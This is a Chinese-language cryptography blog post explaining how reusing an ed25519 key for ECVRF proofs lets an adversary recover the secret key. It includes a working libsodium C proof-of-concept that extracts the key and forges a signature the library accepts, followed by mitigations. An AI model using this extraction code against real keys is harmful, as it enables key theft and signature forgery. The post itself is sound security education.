這篇文解釋瞭如果 ed25519 密鑰對的密鑰也用於生成可驗證隨機函數 (VRF) 證明，則如何提取密鑰。 該文提供了一個腳本，可通過 libsodium 執行此類提取。
在區塊鏈時代前，密碼學家的典型建議是“不要推出自己的密碼！”。 該建議旨在避免安全隱患，這些隱患不太可能存在於經過嚴格研究的發明中。 然而，區塊鏈空間的加速發展掩蓋了這些建議，區塊鏈空間不時發明並推出新的密碼學。 本文通過演示自然捷徑如何導致災難性的後果，再次強調了對每個新密碼進行嚴格安全分析的必要性。
密碼學家經常被問及一個秘密密鑰是否可以用於不同的算法。 這似乎是一個方便的捷徑，但實際上是一種不好的做法。 僅將密鑰用於其預期目的很重要，即使這些密鑰被重複建模為隨機 32 字節。 當被問到這個問題時，典型的答案是“否”。 然而，給出這個答案的原因對於工程師來說往往過於抽象。 典型的解釋是，安全分析僅在獨立設置中進行，這意味著如果以偏離其預期目的的方式使用密鑰，則無法保證安全。
Cardano 使用 ed25519 簽名和可驗證隨機函數 (VRF) 來確保加密算法的安全性。 鑑於它們結構相似的公鑰，人們可能會想對兩種加密原語使用相同的秘密密鑰。 但是，這樣做可以被攻擊者輕鬆提取密鑰。 請注意，Cardano 上使用的加密系統已被證明是安全的——請參閱 ed25519 和 ECVRF——但是，僅在獨立設置中（即，ed25519 在攻擊者只能訪問簽名的設置中被證明是安全的）。
- 注意：對兩個不同的密碼系統使用相同的密鑰並不一定會洩露秘密。 但是，這是一個很好的例子，說明為什麼在對多種算法使用相同的密鑰時要謹慎。 如果您不確定對兩種算法使用相同的密鑰是否安全，最好假設它不是。
Schnorr 簽名，Ed25519 和 ECVRF 的前身
Schnorr 簽名是 Ed25519 和 ECVRF 設計的基礎。 Schnorr 簽名已經存在多年，並廣泛部署在許多應用程序中。 在 Cardano 的 Valentine 升級之後，IOG 在 Plutus 中通過 SECP256k1 曲線引入了對 Schnorr 簽名的原生支持。 Schnorr 簽名只是與消息綁定的 sigma 協議。 特別地，讓 (sk, vk) 成為一個密鑰對，使得 $vk = sk ᐧ G$ 其中 G 是橢圓曲線基點（見註釋 1），它是具有素數階 p 的素數階群的生成器。 然後，簽名算法被交互地定義（在證明者 [P] 和驗證者 [V] 之間）如下：
剛剛描述了一個不涉及消息的交互協議。 現在簡要描述如何將其轉換為對消息進行簽名的非交互式版本。 用於此目的的典型密碼學方法是 Fiat-Shamir 變換，它用隨機預言機的輸出代替隨機挑戰。 隨機預言機的輸入是目前生成的成績單。 此外，要將簽名（如上所述）鏈接到消息，在計算定義挑戰的散列時應包含該消息。
這篇文章描述了交互式版本中的所有算法； 請注意，Fiat-Shamir 啟發式算法可用於使任何算法成為非交互式算法。 為簡單起見，這篇文章從類似 Schnorr 的簽名方案的描述中省略了消息的規範。
與協議的細微偏差可能是災難性的。 一個這樣的例子是生成兩個共享相同值 R 但不同值 s 的簽名。 這完全破壞了系統（例如，通過使用返回相同 k 值的錯誤隨機源）。 有了高中水平的一些基本代數知識，原因就很明顯了。 假設有兩個有效簽名 – (R, s) 和 (R, s’)，其中 $s ≠ s’$。 回想一下，驗證者知道值 c 和 c’，後者知道 $s = k + c * sk$。 鑑於 R 的值（因此 k）在兩個證明中都相等，驗證者可以計算密鑰為：
幸運的是，如果值 k 是隨機均勻選擇的，則上述情況的發生概率為 $1 / 2^{256}$，這在安全參數上可以忽略不計。
Ed25519
ed25519 簽名方案由 Bernstein、Duif、Lange、Schwabe 和 Yang 提出，是專門為曲線 Edwards25519 設計的 Schnorr 簽名方案的變體。 這樣做的主要原因是為了提高效率和安全性。 雖然我們不會深入探討曲線的細節或它的好處，但重要的是要注意 ed25519 引入了與 Schnorr 的一個關鍵區別：它的簽名是確定性的。 這意味著在證明者第一步中使用的隨機性是使用哈希函數生成的，而不是隨機統一採樣值 k。 這一決定背後的基本原理是解決 ECDSA 密鑰過去的安全缺陷，該缺陷是由於缺乏安全的隨機源造成的。 通過偽隨機計算此值，開發人員可以依賴偽隨機函數的安全性，而不是可能不可靠的安全隨機源。
下面我們展示了 ed25519 的簡化版本，它與標準版本不同，但對所描述的攻擊沒有任何意義。 設 KDF 是一個密鑰派生函數（見註釋 2），它將密鑰和索引作為輸入，並返回模 p 的整數。 設 (sk, vk) 是一個密鑰對，使得 $vk = KDF (sk, 0) ᐧ G$。協議進行如下：
可以觀察到，Schnorr 和 ed25519 算法都密切相關。 值得注意的是，在生成秘鑰時，橢圓曲線基點並沒有乘以秘鑰。 相反，秘密密鑰用於導出兩個值。 如前所述，可以利用 Fiat-Shamir 啟發式算法使該算法成為非交互式算法。
ECVRF
ECVRF 協議是另一個受 Schnorr 和 ed25519 啟發的協議，特別是 VRF IRTF 草案中的 ECVRF-EDWARDS25519-SHA512-ELL2 方案。 使用 VRF，證明者可以創建一個與其私鑰相關聯的偽隨機值，並證明他們這樣做是正確的。 雖然這為何有用或如何使用的細節在這裡不相關，但值得研究協議的功能。
在此算法中，我們使用不同的哈希函數 Hs2c ，它以字節數組作為輸入並返回橢圓曲線中的一個點。 同樣，我們為這篇文的核心目標（提取 VRF 和 Ed25519 的密鑰）簡化了協議。 設 (sk, vk) 是一個密鑰對，使得 $vk = KDF (sk, 0) ᐧ G$。協議進行如下：
很明顯，當使用相同的密鑰時，ed25519 和 ECVRF 算法都會生成相同的公鑰。 這是一種方便的方法，可以減輕需要記住多個密鑰或設置複雜密鑰派生機制的用戶的負擔。 然而不幸的是，使用相同的密鑰可能會帶來災難性的後果。
不要分享你的密鑰！
對 ed25519 和 ECVRF 使用相同的密鑰可以使對手有效地洩露簽名者的密鑰。 如前所述，對手的策略涉及欺騙 ed25519 簽名者產生與 VRF 對手相同的 k 值（因此 R），同時具有不同的挑戰 c 值。 如果成功，就可以提取秘鑰，這種攻擊並不難實施。
要執行此攻擊，對手只需要公鑰 pk 的 VRF 證明，並且必須向 pk 的所有者請求 ed25519 簽名以簽署 L，這是一個公共值。 兩種情況下的 nonces k 都是相同的，但挑戰會有所不同，從而使對手能夠恢復密鑰。
下面的腳本演示了攻擊的簡單性。 該腳本將任何消息的 VRF 證明作為輸入，然後請求密鑰的所有者使用 ed25519 對特定消息進行簽名。 這導致秘密密鑰的提取。 還可以看到偽造的簽名被libsodium中的ed25519驗證者接受了。
我們首先定義將用於 VRF 證明的消息並初始化一些變量：
#define MESSAGE (const unsigned char *) "yup"
#define MESSAGE_LEN 3
// The message that we need to craft in order to extract the key is a value
// publicly available. However, libsodium does not export the functions to
// compute it. Nonetheless, it is computed internally. To simplify our lives,
// we slightly modify libsodium VRF verifier to return the crafted message.
unsigned char crafted_msg[32], proof[80], sig[crypto_sign_BYTES], pk[crypto_sign_PUBLICKEYBYTES];
接下來，我們為簽名者創建一個在偽造簽名時我們無法訪問的範圍：
{
unsigned char sk[crypto_sign_SECRETKEYBYTES];
crypto_sign_keypair(pk, sk);
// Now let's use these keys for vrf generation.
crypto_vrf_ietfdraft03_prove(proof, sk, MESSAGE, MESSAGE_LEN);
// Now, we have a proof that consists of 80 bytes that correspond to:
// * 32 bytes of an EC point that we can ignore
// * 16 bytes of a challenge C = H(pk, H, Gamma, U, V), where the values
// of H, Gamma, U and V are irrelevant.
// * 32 bytes of a scalar s' = k + C' * az
// where k = H(z || m), with z = H(sk)[32..], and az = H(sk)[..32].
unsigned char random_output[64];
if (crypto_vrf_ietfdraft03_verify(random_output, crafted_msg, pk, proof, MESSAGE, MESSAGE_LEN))
printf("failed VRF\n \n");
// Now we use the same key to create an ed25519 signature for the crafted message. Note
// that the only 'trick' we are doing is asking the signer to sign a particular message, after
// she has used the key to create a VRF proof. We do not access the secret key in any other way.
crypto_sign_detached(sig, NULL, crafted_msg, 32, sk);
if (crypto_sign_verify_detached(sig, crafted_msg, 32, pk))
printf("failed on ed25519 generation");
// Now we should have a 64 bytes signature that corresponds to:
// * first 32 bytes represent the point R = k * G, where k = H(z || m)
// where z = H(sk)[32..]
// * second 32 bytes represent a scalar s = k + az * HRAM
// where HRAM = H(R || pk || m), and az = H(sk)[..32]
}
如前所述，問題的出現是由於兩種算法之間的挑戰不同。 那麼這是什麼意思？ 這意味著對手可以提取密鑰。 更準確地說，我們有以下內容：$s - s’ = (c - c’) * az <=> az = (s - s’) / (c - c’)$
讓我們嘗試提取密鑰：
unsigned char c[64], cprime[32];
// First we need to compute c, as it is not given in the ed25519 signature. This is done
// using public values.
crypto_hash_sha512_state hs;
crypto_hash_sha512_init(&hs);
crypto_hash_sha512_update(&hs, sig, 32);
crypto_hash_sha512_update(&hs, pk, 32);
crypto_hash_sha512_update(&hs, crafted_msg, 32);
crypto_hash_sha512_final(&hs, c);
crypto_core_ed25519_scalar_reduce(c, c);
// Now we simply copy the challenge into a 16 byte string
memcpy(cprime, proof + 32, 16);
memset(cprime + 16, 0, 16); // Just for sanity.
// Now we have all we need, let's extract the secret.
unsigned char cminuscprimeinv[32], extracted_skey[32], extracted_pkey[32];
crypto_core_ed25519_scalar_sub(extracted_skey, sig + 32, proof + 48);
crypto_core_ed25519_scalar_sub(cminuscprimeinv, c, cprime);
crypto_core_ed25519_scalar_invert(cminuscprimeinv, cminuscprimeinv);
crypto_core_ed25519_scalar_mul(extracted_skey, extracted_skey, cminuscprimeinv);
crypto_scalarmult_ed25519_base_noclamp(extracted_pkey, extracted_skey);
現在我們為消息 {0} 創建一個假的 ed25519 簽名。
我們不能使用普通的 API，因為該算法使用我們提取的密鑰。 使用上述算法，我們無法訪問 API 。 然而，正如我們在下面看到的那樣，偽造簽名並不是必須要有這種“缺失”的數據。 值得注意的是，對手也可以創建無效的 VRF 證明。
unsigned char nonce_fake[32], challenge[64], sig_fake[64], reduced_c[32];
crypto_hash_sha512_state hs_f;
unsigned char msg[32] = {0};
// commitment
crypto_core_ed25519_scalar_random(nonce_fake);
crypto_scalarmult_ed25519_base_noclamp(sig_fake, nonce_fake);
// challenge
crypto_hash_sha512_init(&hs_f);
crypto_hash_sha512_update(&hs_f, sig_fake, 32);
crypto_hash_sha512_update(&hs_f, extracted_pkey, 32);
crypto_hash_sha512_update(&hs_f, msg, 32);
crypto_hash_sha512_final(&hs_f, challenge);
crypto_core_ed25519_scalar_reduce(reduced_c, challenge);
// response
crypto_core_ed25519_scalar_mul(sig_fake + 32, reduced_c, extracted_skey);
crypto_core_ed25519_scalar_add(sig_fake + 32, sig_fake + 32, nonce_fake);
我們生成的假證明無法使用 API 生成，但我們仍然可以使用 API 來驗證它。 這意味著無需修改驗證算法即可接受製作的簽名：
if (crypto_sign_verify_detached(sig_fake, msg, 32, pk))
printf("Failed to fake ed25519\n");
else
printf("Successfully faked an ed25519 sig\n");
運行腳本後（README.md 文件中提供了詳細信息），很明顯我們成功偽造了 ed25519 簽名
簡單的修復
雖然密碼算法不應該被設計成共享密鑰，但不幸的是，它經常吸引工程師。 解決確定性 nonce 生成問題（這也會在一些庫中使用不正確的 API 引起問題）的一項提議是將確定性與安全的隨機源相結合。 這種方法確保只有當兩個來源都失敗時算法才會有缺陷。
另一個簡單的解決方案是在計算 k 值時使用域分離。 這涉及在哈希函數中使用填充，類似於在 VRF 的輸出計算中使用 suite_string 的方式（參見標準草案），以確保 VRF 中使用的隨機性和 ed25519 中使用的隨機性之間沒有匹配。
然而，正如這篇文中所建議的，最好的解決方案是完全避免在不同的密碼系統之間共享密鑰。